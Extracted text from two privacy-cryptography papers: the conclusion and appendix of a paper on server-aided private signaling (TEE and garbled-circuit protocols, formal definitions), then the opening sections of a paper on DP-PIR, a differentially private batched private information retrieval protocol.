posted ever) and the upper bound ℓ of actual signals the re-
ceiver expects to receive (in their construction ℓ might change
for each recipient). Furthermore, in OMR, the computation is
done on demand, per-recipient, namely, when recipient asks
to retrieve. Hence, even assuming that all requests are served
in parallel, a recipient querying the server at time δ, will need
to wait until the server process all the signals posted since the
beginning of time until time δ.

In FMD, the server processes signals continuously, like
ours, and the receiver obtains a list of signals. However, de-
pending on the privacy parameter chosen by the receiver,
this list can be as large as N. Indeed the privacy parameter
ρ corresponds to a false positive rate. The higher the false
positive rate, the higher is the computation expected for the
recipient (and hence the latency). For instance for ρ = 2−15,
the error rate is very small and the overhead for the recipient
is minimal, however, the anonymity achieved is ρ×N, which
is only 15 for N = 500,000. On the other hand for ρ = 2−5

the recipient gets an anonymity set of 15625 but takes up to 9
hours to detect its signals.

Due to these crucial differences, comparing with these ap-
proaches (and especially with OMR) is somewhat applica-
tion dependent, since the choice of M, ℓ, N, and whether the
servers process signals continuously or whether they start to
compute upon request, generates significant differences in the
performances.

For the comparison, in Table 4 we considered settings
and parameters used in OMR and FMD, and compared with
the baseline solution. We considered a scenario where a re-
cipient connects once a day; the number of total signals is

to decrypt every transaction on the board, after having downloaded it (for
instance, once a day).

N = 500,000 and the number of expected signals per recipi-
ent is ℓ= 50. We set M = 500 for our protocols, and for FMD
we considered error/privacy rate at both side of the spectrum
(i.e., ρ−2−5 and ρ−2−15).

We found that our TEE-based solutions is the fastest. Our
GC-based solution, on the other hand, takes a long time to
process 500,000 signals. However, we stress that the process-
ing time of the servers does not impact the running time of
the recipient that is still constant (regardless of M, ℓ,N). This
running time impacts the latency, and suggest that GC-based
solution should be used for applications with a lower vol-
ume of private signal per-day, and we are interested in saving
computation and on-line time for the recipients.

Cross-over point with baseline solution. Comparison with
baseline is relevant when the recipient connects at fixed inter-
val to download and process the messages in bulk 6. In this
case, given an instantiation of the ledger, one can analyse the
cross-over point where our solutions provide less latency than
the baseline solution. For our TEE-based solution, assuming
the ledger is implemented with bitcoin the cross-over point is
10 blocks. This is because it takes 480s to decrypt 10 blocks
(assuming 0.012s to decrypt a signal, 4000 signals per block
we have 10*4000*0.012). In our TEE-based solution, the
server takes 7.5 min per block (paramters M = 500, ℓ= 50)
and is continuously working. At the 10th block as well, the
server take 7.5 min to process the block. But a receiver coming
online then will take 8 min and this is the crossover point.

10 Conclusion and Open Problems

We have introduced the problem of private signaling that ab-
stracts several real-world recipient-anonymous applications.
We provide a formal definition in the UC-framework, two
server-aided protocols that achieve this definition (in the semi-
honest and malicious setting), and open-source implementa-
tions. Our protocols achieve the best efficiency for the sender
and recipients, requiring only minimal overhead.

The workload of the servers, however, is proportional to
O(Mℓ) per signal, which limits the choice of the parameters
of M and ℓ. We leave it as future work to explore techniques
such as ORAM to improve the workload of the servers.

6If the recipients were always on-line and decrypting each signal, then no
server-aided solution could beat this rate.
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A Preliminaries (contd.)

A.1 Oblivious transfer
Oblivious transfer (OT) is a two-party protocol in which a
sender S has two input strings s0,s1 ∈ {0,1}λ, and a receiver
R has a choice bit b ∈ {0,1}. An OT protocol is called non-
trivial if for any pair of strings s0,s1 ∈ {0,1}λ, and for any
b ∈ {0,1}, after participating in the interactive protocol, S
outputs nothing and R learns sb. We capture this definition
formally as an ideal functionality Fot in Figure 16.

Ideal Functionality Fot:
• Upon receiving message (OT-SEND,s0,s1,S,R)

from S, where s0,s1 ∈ {0,1}λ, store s0,s1 and an-
swer SEND to R and S .

• Upon receiving message (OT-RECEIVE,b) from R,
where b ∈ {0,1}, send sb to R and OT-RECEIVE to
S and S , and halt. If no message (OT-SEND, ·) was
previously sent, do nothing.

Figure 16: Ideal functionality for oblivious transfer

A.2 Garbled circuits
We present a formal definition for garbled circuits. We present
the definitions of [7].

Definition 1. A garbling scheme G consists of five polynomial
time algorithms (Garble,Encode,Eval,Decode,evaluate).
1. Garble(1λ, f )→ (F,e,d). The garbling algorithm Garble

takes in the security parameter λ and a circuit f , and
returns a garbled circuit F, encoding information e, and
decoding information d.

2. Encode(e,x)→ X. The encoding algorithm Encode takes
in the encoding information e and an input x, and returns
a garbled input X.

3. Eval(F,X)→ Y . The evaluation algorithm Eval takes in
the garbled circuit F and the garbled input X, and returns
a garbled output Y .

4. Decode(d,Y )→ y. The decoding algorithm Decode takes
in the decoding information d and the garbled output Y ,
and returns the plaintext output y.

5. evaluate( f ,x)→ y. The algorithms takes as input the de-
scription of the original function f and the initial input x
and outputs the final output y.

Correctness if f ∈ {0,1}∗,k ∈N,x∈ {0,1} f .n and (F,e,d)∈
[Garble(1k, f )], then

Decode(d,Eval(F,Encode(e,x))) = evaluate( f ,x)

Privacy Let G = (Garble,Encode,Decode,Eval,evaluate)
be a garbling scheme, k ∈N a security parameter and φ a side-
information function. We present below the simulation-based
notion of privacy via game PrvSimG ,φ,S , see the definition of
the game in Figure 17.

The adversary wins the game if it guesses b correctly. The
advantage of the adversary is defined as

Advprv.sim,φ,S
G (A ,k) = 2Pr[PrvSimA

G ,φ,S (λ)]−1

and protocol G is prv.sim secure over φ if for every polyno-
mial time adversary A there is a polynomial time algorithm
S such that Advprv.sim,φ,S

G (A ,k) is negligible.
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procedure INITIALIZE
Pick b←{0,1}

procedure GARBLE(( f ,x))
if x /∈ {0,1} f .n then

return ⊥
if b = 1 then

(F,e,d)← Garble(1k, f )
X ← Encode(e,x)

else
y← evaluate( f ,x)
(F,X ,d)← S(1k,y,φ( f ))

procedure FINALIZE
return b = b′

Figure 17: The PrvSimG ,φ,S game

Projective scheme In our schemes we consider a projective
garbling scheme. Thus e consists of 2n wire labels, where
n is the number of input bits. We denote these wire labels
as (X0

i ,X
1
i )i∈indices. Encode(e,x = (vi)i∈indices) returns X =

(Xvi
i )i∈indices.

A.3 Attested Execution Processers

In this section we present more details on the formalization
of attested execution processers as described in [24]

Initialization Upon initialization, a manufacturer chooses
a public verification key and signing key pair denoted
(mpk,msk), for the signature scheme Σ. All attestations later
will be done using msk.

The registry Gatt is parameterized by a signature scheme Σ

and a global registry reg which contains the list of all parties
that are equipped with an attested execution processor. In our
setting, only the Srv is in the registry reg.

Public interface Gatt provides a public interface such that
any party is allowed to query and obtain the public key mpk.

Local interface When a machine P calls an install instruction
to Gatt, it asserts that P is in reg. This models the fact that for
a remote party to interact with P ’s trusted processor, all com-
mands have to be passed through the intermediary P . They
formalize two types of invocations to the trusted hardware.
• Installation Enclave installation establishes a software en-

clave with program Prog, linked to some identifier idx .
The functionality enforces that honest hosts provide the
session identifier of the current protocol instance as idx.
Gatt further generates a random identifier (or nonce) eid for
each installed enclave, which can later be used to identify
the enclave upon resume. Finally, Gatt returns the generated
enclave identifier eid to the caller.

• Upon receiving (SUBMIT, tx) from a party Pi:
1. Choose a unique transaction ID txid and set

BTX := (tx, txid,τL,Pi)
2. If Validate(BTX,state,buffer) = 1 then

buffer := buffer∪BTX
3. Send (SUBMIT,BTX) to A .

• Upon receiving READ from a party Pi, send statePi

to Pi. If received from A , send (state,buffer) to
A .

Figure 18: Abridged Gledger functionality

• Stateful resume An installed enclave can be resumed multi-
ple times carrying state across these invocations. Each invo-
cation identifies the enclave to be resumed by its unique eid.
The enclave program Prog is then run over the given input,
to produce some output (together with an updated memory
mem). The enclave then signs an attestation, attesting to the
fact that the enclave with session identifier idx and enclave
identifier eid was installed with a program Prog, which was
then executed on some input to produce outp.

A.4 Ledger functionality
In our protocols we model the public board for reads and
writes in the form of a Gledger ideal functionality presented
here. We present an abridged version of the functionality
where we present the READ and SUBMIT commands. For the
complete description of the functionality, we refer the reader
to Pages 339-340 of [3].

B Protocol ΠTEE-ext

Protocol Overview The protocol ΠTEE-ext is the same as
ΠTEE, except that the TEE does not store the encryptions
inside its internal memory but stores it on the server and
requires the server to send the table to the TEE to process the
signals.
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On input (“setup”,ctkeys)
Compute (pk,Σ.vk) = Dec(esk,ctkeys).
Compute L⃗ = {Enc(epk,pk∥0)}ℓj=0
Set index= 0 and ctr = 0
return pk, store L⃗ in external memory and
(pk,Σ.vk, index,ctr) in internal memory.

On input* (“send”, i, L⃗i,ctSignal)

Read indexi,pki from internal memory correspond-
ing to i.
Let msg = Dec(esk,ctSignal).
if msg[0] = pki then

Update index= (index+1) mod ℓ
for j in [1, ℓ] do

Let curr = Dec(esk, L⃗[ j])
if j = index then

L⃗[ j] = Enc(epk,msg[0]∥msg[1])
else

L⃗[ j] = Enc(epk,curr)

else
for j in [1, ℓ] do

L⃗[ j] = Enc(epk,Dec(esk, L⃗[ j]))
return L⃗

On input* (“receive”,ctr,σ, L⃗, j)
if Σ.Ver(Σ.vk j,ctr

′,σ) = 1 and ctr = ctr′ and
∀i,Dec(esk, L⃗[i][0 : λ] = pk j) then

Compute loci = Dec(esk, L⃗[i]) for i ∈ [1, ℓ]
Compute c⃗tloc = Encpk j(loc1), . . . , Encpk(locℓ)
Update ctr = ctr+1 and index= 0
Update L⃗ = {Enc(epk,pk j∥0)}ℓk=0
return (⃗L, c⃗tloc)

else
return ⊥

Figure 19: Program Prog run by Gatt

Enclave setup
1. Run Gatt.install(Prog) to get eid.
Setup
Recipient Ri:
1. Compute (pki,ski) ← Enc.KeyGen(1λ),

(Σ.ski,Σ.vki) ← Σ.KeyGen(1λ). Set
ctkeys,i = Enc(epk,(pki,Σ.vki)) and send
(“setup”,ctkeys,i) to Srv, and await ((eid,pki),σ)
from Srv. Assert Σ.Vermpk((eid,pki),σ) = 1 and
publish pki. Initialize ctri = 0.

Srv:
1. Upon receiving (“setup”,ctkeys,i) from Ri, let

((pki, L⃗i),σ) = Gatt.resume(eid,(“setup”,ctkeys,i).
Send ((eid,pki, L⃗i),σ) to Ri.

Procedure (SEND,Ri, loc)
1. Sender S gets (mpk,epk) := Gatt.getpk() and

computes ctSignal = Enc(epk, [pki, loc]) and sends
(SUBMIT,(SEND,ctSignal)) to Gledger.

2. Srv: Upon receiving (SEND,ctSignal) from
Gledger after sending READ: For j ∈ [1,M], call
Gatt.resume(eid,(“send”, i, L⃗ j,ctSignal)) and
receive an updated L⃗ j.

Procedure RECEIVE
Recipient Ri:
1. Compute σi = Sig(Σ.ski,ctri) and

send (RECEIVE,ctri,σi) to Srv. Await
((eid, L⃗i, c⃗tloc,i),σT ) from Srv

2. Assert Σ.Vermpk((eid, L⃗i, c⃗tloc,i),σT ) = 1
3. Initialize locns= [], j = 0

while (loc j = Dec(ski, c⃗tloc[ j])) ̸= pk∥0 do
locns.add(loc j)
j = j+1

return locns.
Srv:
1. Upon receiving (RECEIVE,ctri,σi)

from Ri, let ((eid, L⃗i, c⃗tloc,i),σT ) =

Gatt.resume(eid,(“receive”,ctri,σi, L⃗i)).
2. Send ((eid, L⃗i, c⃗tloc,i),σT ) to Ri and update L⃗i
Procedure (READ) Send READ to Gledger and receive
state.

Figure 20: The protocol for private signaling in the Gatt hybrid
world
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Abstract
Private Information Retrieval (PIR) allows several clients to
query a database held by one or more servers, such that the
contents of their queries remain private. Prior PIR schemes
have achieved sublinear communication and computation by
leveraging computational assumptions, federating trust among
many servers, relaxing security to permit differentially pri-
vate leakage, refactoring effort into an offline stage to reduce
online costs, or amortizing costs over a large batch of queries.

In this work, we present an efficient PIR protocol that com-
bines all of the above techniques to achieve constant amor-
tized communication and computation complexity in the size
of the database and constant client work. We leverage differ-
entially private leakage in order to provide better trade-offs
between privacy and efficiency. Our protocol achieves speed-
ups up to and exceeding 10x in practical settings compared
to state of the art PIR protocols, and can scale to batches
with hundreds of millions of queries on cheap commodity
AWS machines. Our protocol builds upon a new secret shar-
ing scheme that is both incremental and non-malleable, which
may be of interest to a wider audience. Our protocol provides
security up to abort against malicious adversaries that can
corrupt all but one party.

1 Introduction

Private Information Retrieval (PIR) [29,49] is a cryptographic
primitive that allows a client to retrieve a record from a public
database held by a single or multiple servers without revealing
the content of her query. PIR protocols have been developed
for a variety of settings, including information theoretic PIR
where the database is replicated across several servers [29],
and computational PIR using single server [49]. The differ-
ent settings of PIR are limited by various lower bounds on
their computation or communication complexity. In essence, a
server must “touch” every entry in the database when respond-
ing to a query, or else the server learns information about the

∗K. Dak Albab and R. Issa contributed equally to this work.

query, namely what the query is not!
Recent PIR protocols [31, 47, 57, 68] achieve sub-linear

computation and communication by relying on a prepro-
cessing/offline stage that shifts the bulk of computation into
off-peak hours [11], relaxing security to allow limited leak-
age [72], or batching queries, mostly in the case when they
originate from the same client. These advances allowed PIR
to be used in a variety of applications including private pres-
ence discovery [17, 67], anonymous communication and mes-
saging [7, 26, 50, 63], private media and advertisement con-
sumption [41, 42], certificate transparency [57], and privacy
preserving route recommendation [80].

Existing sublinear PIR protocols are able to handle medium
to large databases of size n and still respond to queries rea-
sonably quickly. However, they scale poorly as the number
of queries increase: the sub-linear cost (e.g.

√
n for Check-

list [47]) of handling each query quickly adds up when the
number of queries approaches or exceeds the size of the
database into a super-linear overall cost (e.g. n

√
n). Effi-

ciently batching such queries and amortizing their overheads
is an open problem when these queries are made by different
clients: existing work that batches such queries assumes the
number of queries is much smaller than the database size [57],
burdens clients with making noise queries [72], or requires
clients to closely coordinate and share secrets when prepro-
cessing is used [11]. This complicates efforts to deploy PIR in
a variety of important applications including software updates,
contact tracing, content moderation, blacklisting of fake news,
software vulnerability look-up, and similar large-scale auto-
mated services. We demonstrate this empirically in section 2.

In this work, we introduce DP-PIR, a novel differentially
private PIR protocol tuned to efficiently handle large batches
of queries approaching or exceeding the size of the underlying
database. Our protocol batches queries from different non-
coordinating clients. DP-PIR is the first protocol to achieve
constant amortized server computation and communication,
as well as constant client computation and communication.

While the details of our protocol are different from earlier
work, at a high level our construction combines three ideas:
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1. Offloading public key operations to an offline stage so
that the online stage consists only of cheap operations [31,68].

2. High throughput batched shuffling of messages by mix-
nets and secure messaging systems [53, 54, 75, 77].

3. Relaxing the security of oblivious data structures and
protocols to differentially private leakage [61].

DP-PIR Overview Our protocol is a batched multi-server
PIR protocol optimized for queries approaching or exceeding
the database size. DP-PIR is secure up to selective aborts
against a dishonest majority of malicious servers, as long as
at least one server is honest. Our protocol induces a per-batch
overhead linear in the size of the database; this overhead is
independent of the number of queries q in that batch, with
a total computation complexity of O(n+q) per entire batch.
When the number of queries approaches or exceeds the size
of the database, the amortized computation complexity per
query is constant. Furthermore, our protocol only requires
constant computation, communication, and storage on the
client side, regardless of amortization. We describe the details
of our construction in section 5.

Our protocol achieves this by relaxing the security guar-
antees of PIR to differential privacy (DP) [35]. Unlike tradi-
tional PIR protocols, servers in DP-PIR learn a noised dif-
ferentially private histogram of the queries made in a batch.
Clients secret share their queries and communicate them to
the servers, which are organized in a chain similar to a mixnet.
Our servers take turns shuffling these queries and injecting
generated noise queries similar to Vuvuzela [77]. The last
server reconstructs the queries (both real and noise) revealing
a noisy histogram, and looks them up in the database. The
servers similarly secret share and de-shuffle responses, while
removing responses corresponding to their noise, and then
send them to their respective clients for final reconstruction.
The noise queries are generated from a particular distribution
to ensure that the revealed histogram is (ε,δ)-differentially
private, so that the smaller ε and δ get, the more noise queries
need to be added. The distribution can be configured to pro-
vide privacy at the level of a single query or all queries made
by the same client in a single batch or over a period of time.
The number of these noise queries is linear in n and 1

ε
and

independent of the number of queries in a batch. The noise
does not affect the accuracy or correctness of any client’s
output. Section 3 describes our threat model and provides an
interpretation of what this differentially oblivious [23] access
pattern privacy means (as compared to traditional PIR).

Our protocol offloads all expensive public key operations to
a similarly amortizable offline preprocessing stage. This stage
produces correlated secret material that our protocol then
uses online. Our online stage uses only a cheap information-
theoretic secret sharing scheme, consisting solely of a few
field operations, which modern CPUs can execute in a hand-
ful of cycles. The security of our protocol requires that this
secret sharing scheme, which we define in section 4, is both
incremental and non-malleable. Finally, section 6 describes

how our protocol can be parallelized over additional machines
to exhibit linear improvements in latency and throughput.

Our Contribution We make three main contributions:
1. We introduce a novel PIR protocol that achieves con-

stant amortized server complexity with constant client com-
putation and communication, including both its offline and
online stage, when the number of queries is similar to or larger
than the size of the database, even when the queries are made
by different clients. Our offline stage performs public key op-
erations linear in the database and queries size, and the online
stage consists exclusively of cheap arithmetic operations.

2. We achieve a crypto-free online stage via a novel secret
sharing scheme that is both incremental and non-malleable,
based only on modular arithmetic for both sharing and re-
construction. To our knowledge, this is the first information
theoretic scheme that exhibits both properties combined. This
scheme may be of independent interest in scenarios involv-
ing Mixnets, (Distributed) ORAMs, and other shuffling and
oblivious data structures.

3. We implement this protocol and demonstrate its perfor-
mance and scaling to loads with hundreds of millions queries,
while achieving throughput several fold higher than existing
state of the art protocols. The experiments identify a criterion
describing application settings where our protocol is most
effective compared to existing protocols, based on the ratio
of the number of queries over the database size.

2 Motivation

Private Information Retrieval is a powerful primitive that con-
ceptually applies to a wide range of privacy preserving appli-
cations. Existing PIR protocols are well suited for applications
with medium to large databases and small or infrequent num-
ber of queries [7,41,66,80]. However, they are impractical for
a large class of applications with a large number of queries.

Motivating example One example that we consider through-
out this work is checking for software updates on mobile app
stores. The Google Play and iOS app stores contain an es-
timated 2.56 and 1.85 million applications each [44], and
the number of active Android and iOS devices exceed 3 and
1.65 billion, respectively [32]. These devices perform periodic
background checks to ensure that their installed applications
are up to date. Currently, these checks are done without pri-
vacy: the app store knows all applications installed on a device,
and can perform checks to determine if they are up-to-date
quickly. However, the installed applications on one’s device
constitute sensitive information. They can reveal information
about the user’s activity (e.g. which bank they use), or whether
the device has applications with known exploits.

It is desirable to hide the sensitive application information
from the app store as well as potential attackers. A device
can send a PIR query for each application installed, and the
servers can privately respond with the most up-to-date version
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label of each application. If the installed application is out of
date, the device can then download the updated application
via some anonymous channel, such as Tor. However, unlike
DP-PIR, existing PIR protocols cannot scale to such loads,
where the number of devices is about 1000x larger than the
size of the database, each with tens of applications installed,
given how quickly the sub-linear overheads per query add up.
We demonstrate this empirically with three state of the art
PIR protocols: Checklist [47], DPF [18], and SealPIR [6].

Additional Applications We believe that a large class of
applications demonstrate similar properties ideal for DP-PIR.
In privacy-preserving automated exposure notification for
contact tracing [22, 73, 74], the number of recent cases in a
city or region (i.e. the size of the database) is far smaller than
the total population of that area (i.e. the number of queries).
Similarly, identifying misinformation in end-to-end encrypted
messaging systems [48] usually involves a denylist far smaller
than the total number of messages exchanged in the system
within a reasonable batching time window.

Our protocol relies on having two or more non-colluding
parties that together constitute the service provider. This is a
common assumption used by many other PIR protocols. Se-
cure multiparty computation (MPC) has been applied in many
real world applications over the last decade. This includes
services federated over somewhat-independent subdivisions
within the same large organization [1, 71], or additional par-
ties that volunteer to participate to promote common social
good [30, 69]. A third category, which we believe is most
suited for the app store example, involves providers actively
seeking out third parties to federate their services [13, 52]
under contractual agreements for privacy or compliance rea-
sons, usually in exchange for financial or reputation incentives.
This has spurred various startups [64, 65] that provide their
participation in secure multiparty computations as a service.

We believe that the differential privacy guarantees of DP-
PIR suffice for applications where the primary focus is pro-
tecting the privacy of any given client, but not overall trends
or patterns. Such as applications where it is also desirable for
the (approximate) overall query distribution to be publicly
revealed, e.g. an app store that displays download counts or a
private exposure notification service that also identifies infec-
tion hotspots. DP-PIR is ideal for such applications, since it
reveals a noised version of this distribution, without having
to use an additional private heavy hitters protocol [14]. In
practice, we emphasize that our relaxed DP guarantees should
be viewed as an improvement over the insecure status-quo,
rather than a replacement for PIR protocols that have stronger
guarantees but impractical overheads in our target settings.

Comparison to Existing PIR Protocols Private Informa-
tion Retrieval (PIR) has been been extensively studied in a
variety of settings. Information theoretic PIR replicates the
database over several non-colluding servers [10], while com-
putational PIR traditionally uses a single database and relies

Protocol Computation Communication
Online Offline Online Offline

BIM04 [11] n0.55 − n0.55 −
CK20 [31]

√
n n λ2 logn

√
n

Checklist [47]
√

n n λ logn
√

n
Naive † n - n/q∗ -
PSIR [68] † q∗n n logc n n/q
CK20 [31] † q∗

√
n n

√
n

√
n/q∗

BIM04 [11] ‡§ qn
w
3 − n

1
3 /q −

LG15 [57] ‡¶ q0.8n −
√

n −
This work ‡‖ cε,δn+q cε,δn+q 1 1
†: support batching of queries made by the same client.
‡: supports batching of queries made by different clients.
§: amortizes to n

w
3 , w≥ 2 is the matrix mult. exponent.

¶: up to q =
√

n.
‖: amortizes to a constant when q∼ n.

Table 1: Computation and communication complexity of var-
ious existing PIR protocols. Here, n is the database size, q∗

and q are the number of queries made by a single or differ-
ent clients. For protocols that support batching, computation
complexity represents the total complexity to handle a batch.
Communication is always per query

on cryptographic hardness assumptions [20, 28, 55].
Naive PIR protocols require a linear amount of computation

and communication (e.g. sending the entire database over to
the client), and several settings have close-to-linear lower
bounds on either computation or communication [56].

Modern PIR protocols commonly introduce an offline pre-
processing stage, which either encodes the database for faster
online processing using replication [11,15,31,47] and coding
theory [19,21,43,68], performs a linear amount of offline work
per client to make the online stage sub-linear [21, 31, 47, 47],
or performs expensive public key operations so that the on-
line stage only consists of cheaper ones [31, 47, 68]. Other
protocols rely on homomorphic primitives during online pro-
cessing [3, 6, 79].

Finally, some protocols allow batching queries to amortize
costs. When combined with preprocessing, batching is only
supported for queries originating from the same client [31,
47, 68], or ones that share secret state [11]. Batching queries
from different clients without preprocessing is possible [45]
but has limitations. Earlier work induces a sublinear (but non
constant) amortized computation complexity [11, 57]. Our
work amortizes the computation costs of queries made by
different queries down to a constant, while also requiring
constant client work. In section 8, we discuss ε-PIR [72]
which also amortizes such queries but burdens clients with
generating the noise queries required for differential privacy.
Experiment Setup Our experiments measure the server(s)
time needed to process a complete set of queries with ε = 0.1
and δ = 10−6. While the trends shown in these results are
intrinsic properties of our protocol design, the exact numbers
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Figure 2: The ratios of queries/database (y-axis) after which
DP-PIR outperforms Checklist by the indicated x factor for
different database sizes (x-axis, logscale)

depend on the setup and protocol parameters. Section 7 dis-
cusses our setup and the effects of these parameters in detail.

Checklist Figure 1 shows the server computation time of
Checklist and DP-PIR when processing different number of
queries against a database with n = 2.5M elements. Our pro-
tocol has constant performance initially, which starts to in-
crease with the number of queries q as they exceed 10M. In
more detail, the computation time of DP-PIR is proportional
to the total count of noise and real queries cε,δn+ q, where
c0.1,10−6 = 276. Therefore, the cost induced by q is negligible
compared to cε,δn until q becomes relatively significant.

On the other hand, Checklist scales linearly with the num-
ber of queries throughout, as its computation time is propor-
tional to q

√
n. When the number of queries is small, this cost

is far smaller than the initial overhead of our system. As q
approaches n, both systems start getting comparable perfor-
mance. DP-PIR achieves identical performance to Checklist
at q = 1.9M (slightly below 4

5 the size of the database), and
outperforms Checklist for more queries. Our speedup over
Checklist grows with the ratio q

n , approaching a maximum
speedup determined by

√
n when the ratio approaches ∞. For

a database with 2.5M elements, our experiments demonstrate
that we outperform Checklist by at least 2x, 5x, and 10x after

the ratio exceeds 1.5,3.9 and 8.1 respectively. We note that
the largest data-point in the two figures are extrapolated.

The ratio required for achieving a particular speedup is not
identical for all database sizes. As shown in Figure 2, DP-PIR
prefers larger databases: the larger the database, the smaller
the ratio required by DP-PIR to achieve a particular speedup,
and the larger the maximum speedup that DP-PIR can achieve
as q→ ∞.

We extrapolate from our empirical results to three pos-
sible scenarios for our Google Play store example, where
the database contains roughly 2.5M elements with 3B active
users, with the same setup and parameters as above. First,
we assume each user makes exactly a single query (corre-
sponding to a single app on their phone) resulting in a batch
of size q = 3B, and q

n = 1200. In the second scenario, we
assume each user checks the updates for all apps on their
phone (e.g. say at most 100 apps), but only configure our
system to provide DP guarantees only at the level of a single
query (i.e. event-DP). In the last scenario, each user similarly
makes 100 queries, but we configure our system to provide
user-level DP guarantees protecting all the queries of the
same user (i.e. user-DP), which results in adding 100 times
the amount of noise. Our estimates indicate that our protocol
will exhibit speedups of 161x, 180x, and 161x over checklist
in these scenarios respectively. We discuss the different DP
configurations in section 3. We exhibit similar trends with
larger speedups given even less queries over SealPIR [6] and
DPF [18], as shown in appendix A.

3 Protocol Overview

Our protocol consists of c1, ...,cd clients and s1, ...,sm servers.
We designate s1 and sm as a special frontend and backend
server respectively. We assume that every server si has a
public encryption key pki known to all servers and clients,
with associated secret key ski. Every server has a copy of
the underlying database T = K → (V,Σ) mapping keys to
values and signatures, such that T [k] = (v,σ), where σ is a
(m,m)−threshold signature over (k,v) by the m servers. The
signatures are only needed for integrity and do not affect
the privacy of clients; they allow clients to verify that the
responses they received correspond to the correct T agreed
upon by the servers, and can be omitted when the backend is
assumed to be semi-honest. We refer to the query made by
client ci by qi, and its associated response by ri = (vi,σi).

3.1 Setting
Our protocol is easiest to understand in the case of a sin-
gle epoch consisting of an input-independent offline stage
followed by an online stage. The client state, created in the
offline stage and consumed in the online one, consists exclu-
sively of random elements. Clients can store the seed used to
produce these elements to achieve constant storage relative to
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the number of queries and number of servers. A client need
only submit her secrets to the service during the offline stage,
and can immediately leave the protocol afterwards. The client
can reconnect at any later time to make a query without any
further coordination.

The offline stage is more computationally expensive than
the online one, since it performs a linear number of public key
operations overall. We suggest that the offline stage be carried
out during off-peak hours (e.g. overnight), when utilization
is low. Furthermore, both our stages are embarrassingly par-
allel in the resources of each party. It may be reasonable to
run the offline stage with more resources, if these resources
are cheaper to acquire overnight (e.g. spot instances). Our
offline stage is similar to Vuvuzela [77], which exhibits good
throughput. However, the linear number of public key oper-
ations performed by Vuvuzela makes it impractical for our
online stage. Indeed, our online stage is crypto-free using only
a handful of arithmetic operations per query.

In practice, services using DP-PIR alternate between col-
lecting a batch of queries submitted from clients within some
configurable time window, and processing that batch using
our online protocol. In section 7, we discuss the effects of this
batching window on our performance. Each batch requires
corresponding offline processing. Our protocol allows mul-
tiple offline stages (e.g. the ones corresponding to an entire
day’s worth of batches) to be pooled together into a propor-
tionally larger stage executed in one shot during off-peak
hours when resources are cheaper (e.g. the night before). The
clients can choose to make their queries at any time after pre-
processing, but client states from several uncombined offline
stages should not be used in a single online batch, to avoid
allowing the adversary to identify the origin of the query by
diffing out clients that participated in different stages.

Our protocol assumes that T and its signatures are provided
as input. Thus, the servers must agree on T and produce
signatures for it ahead of time. The same T and signatures
can be reused by many offline/online stages; servers need
only compute new signatures when the underlying database
changes, and may rely on timestamps to enable clients to
reject expired responses. The servers never sign or verify any
signatures during either the offline or online stages, and each
client needs to verify one signature per received response.
Therefore, the efficiency of signing/verification is secondary.
Instead, our protocol prefers signature schemes that produce
shorter signatures for lower bandwidth.

3.2 Threat Model

Our construction operates in the ‘anytrust’ model up to se-
lective abort. Specifically, we tolerate up to m−1 malicious
servers and d−1 malicious clients.

In terms of confidentiality, our protocol differs from tra-
ditional perfectly-private PIR protocols in that it leaks noisy
access patterns over the honest clients’ queries, in the form of

a differentially private noisy histogram H (Q) = Hhonest(Q)+
χ(ε,δ,φ).

As for integrity, our protocol is secure up to selective abort,
and does not guarantee fairness. Adversarial servers may elect
to stop responding to queries, effectively aborting the entire
protocol. Furthermore, they can do so selectively: any server
can decide to drop queries at random, the frontend server can
drop queries based on the identity of their clients, and the
backend server can drop queries based on their value.

We stress that an adversary cannot drop a query based
on the conjunction of the client’s identity and the value, re-
gardless of which subset of servers gets corrupted. Also, an
adversary can only drop a query, but cannot convince a client
to accept an incorrect response, since clients can validate the
correctness of received responses locally.

3.3 Interpreting Privacy
Our protocol can be configured to provide different levels
of (ε,δ)-differential privacy by selecting the parameters of
the underlying distribution used to sample noise queries. The
most efficient (and easiest to understand) configuration is of-
ten called event-DP, which provides guarantees at the level
of any single honest query. Another DP configuration, com-
monly termed user-DP, provides guarantees at the level of all
queries made by any honest client. We use event-DP through-
out the paper except when otherwise noted.

We provide either guarantee at the level of a single isolated
batch. In particular, we consider two batches of queries Q
and Q′ over the honest clients’ queries to be φ-neighboring
batches when they consists of identical queries except for φ

queries. In event-DP, it is enough to consider φ = 1. While
in user-DP, we set φ to the number of queries a client can
make within a batch (or an upper bound of it). In either case,
the sensitivity is 2φ, which means that for the same ε,δ the
expected number of noise queries we add grows linearly in φ.

Definition 1 (Differentially Private PIR Access Patterns). For
any privacy parameters ε,δ, and every two φ−neighboring
batches of queries Q,Q′, the probabilities of our protocol pro-
ducing identical access pattern histograms are (ε,δ)-similar
when run on either set:

Pr[H (Q) = H]≤ eεPr[H (Q′) = H]+δ

Our definition uses the substitution formulation of DP,
rather than the more common addition/removal; see [76, §1.6]
for details. Substitution is commonly used in secure computa-
tion protocols involving DP leakage [61]. We use this variant
since our protocol does not hide whether a client made a query
in a batch or not: the adversary already knows this e.g. by
observing IP addresses associated to queries. Instead, we hide
the value of the query itself. Substitution is more conservative
adding twice the expected amount of noise queries, since its
sensitivity is 2φ compared to φ in the other.
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So far, we only discussed guarantees within a single on-
line stage. In any long running DP system where clients can
make unbounded queries, it is impossible to achieve user-DP
globally. Instead, practical systems [58] often rely on the user-
time-DP model, where the guarantees extend over all queries
made by a client over a set moving time window (e.g. a week).
We can achieve this by setting φ to the number of queries that
a client may make over a time window, regardless of how the
client distributes the queries over the batches in that window.
This follows from DP’s composition theorem.

One way to interpret our DP guarantees (aka “differential
obliviousness” [23]) is that they provide any client with plau-
sible deniability: a client that made queries q1, ...,qφ over
some period of time can claim that her true queries were any
different q′1, ...,q

′
φ
, and external distinguishers cannot falsify

this claim since the probability of either case inducing any
same observed histogram of access patterns is similar.

Whereas traditional differential privacy mechanisms trade
privacy for accuracy, differential obliviousness trades privacy
for performance while always providing accurate outputs. In
DP-PIR, increasing privacy (by lowering ε and δ or increasing
φ) results in additional noise queries, making our protocol
proportionally slower, and requiring a proportionally larger
batch of queries to achieve the same amortization, and thus
speedup, over other protocols. The amount of noise queries
scales linearly in φ and 1

ε
and sub-linearly in δ (see Table 3).

4 Incremental Non-Malleable Secret Sharing

Our protocol relies on shuffling real queries with noise queries
by our chain of servers, similar to Vuvuzela and other mixnets
where public key onion encryption is used to pass secrets
through that chain. However, this induces a large number of
public key operations, proportional to m×|batch|. We use a
novel cheaper arithmetic-based secret sharing scheme instead
of onion encryption during our online stage.

The secret sharing scheme provides similar security guar-
antees to onion encryption, to ensure that input and output
